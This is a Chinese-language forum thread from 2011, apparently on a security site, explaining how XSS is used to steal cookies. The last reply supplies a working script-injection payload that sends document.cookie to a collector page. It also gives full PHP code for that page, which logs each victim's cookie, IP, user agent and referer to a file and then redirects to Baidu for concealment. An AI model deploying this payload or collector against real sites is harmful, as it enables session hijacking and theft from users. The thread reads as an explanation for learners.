首页
社区
课程
招聘
[讨论][讨论]大家谁来讲讲跨站提取cookie的原理啊
发表于: 2011-3-31 15:23 4704

[讨论][讨论]大家谁来讲讲跨站提取cookie的原理啊

2011-3-31 15:23
4704
收藏
免费 0
支持
分享
最新回复 (3)
雪    币: 175
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
可以了解下 XSS 和XSRF
2011-4-30 11:43
0
雪    币: 170
活跃值: (90)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
3
跨站就意味着可以执行javascript代码,javascript利用Document文档对象的cookie属性就获取到了cookie,然后就可能利用cookie欺骗登陆
2011-7-9 10:12
0
雪    币: 8
活跃值: (10)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
4
跨站提取cookie的原理  等价于
如何从在浏览器中获取cookie + 发送cookie到指定url

比如:
"><script>document.location = '078K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3I4G2j5$3q4D9K9r3!0K6N6q4)9J5c8Y4c8W2M7%4c8Q4x3X3g2H3K9s2m8Q4x3@1k6U0L8$3!0C8K9h3g2Q4x3@1c8Q4x3U0M7`. + document.cookie;</script><img

依次使用了:
1.浏览器的DOM对象的cookie属性,获得了cookie值
2.将cookie值作为参数传递给localhost服务器上的test.php脚本,使用的是GET方式提交数据
3.利用document.location进行跳转,实际就是通过url访问实现数据提交

而test.php中的内容类似于:
<?php

$cookie = $_GET['cookie'];            //以GET方式获取cookie变量值
$ip = getenv ('REMOTE_ADDR');        //远程主机IP地址
$time=date('Y-m-d g:i:s');            //以“年-月-日 时:分:秒”的格式显示时间
$referer=getenv ('HTTP_REFERER');    //链接来源
$agent = $_SERVER['HTTP_USER_AGENT'];    //用户浏览器类型

$fp = fopen('cookie.txt', 'a');        //打开cookie.txt,若不存在则创建它
fwrite($fp," IP: " .$ip. "\n Date and Time: " .$time. "\n User Agent:".$agent."\n Referer: ".$referer."\n Cookie: ".$cookie."\n\n\n");    //写入文件
fclose($fp);    //关闭文件

header("Location: 883K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3u0S2K9h3c8#2i4K6u0W2j5$3!0E0");    //将网页重定向到百度,增强隐蔽性

?>
这些用户数据来源于HTTP数据包中的浏览器头部信息

具体的xss实例可以参见我的帖子:3e2K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3y4G2k6r3g2Q4x3X3g2Y4L8$3!0Y4L8r3g2Q4x3X3g2U0L8$3#2Q4x3V1k6H3i4K6u0r3N6$3S2#2N6$3g2T1M7$3g2U0i4K6u0r3N6$3W2C8K9g2)9J5c8W2S2K6M7#2N6Z5N6h3I4W2j5%4c8#2M7X3f1`.
2011-8-29 10:10
0
游客
登录 | 注册 方可回帖
返回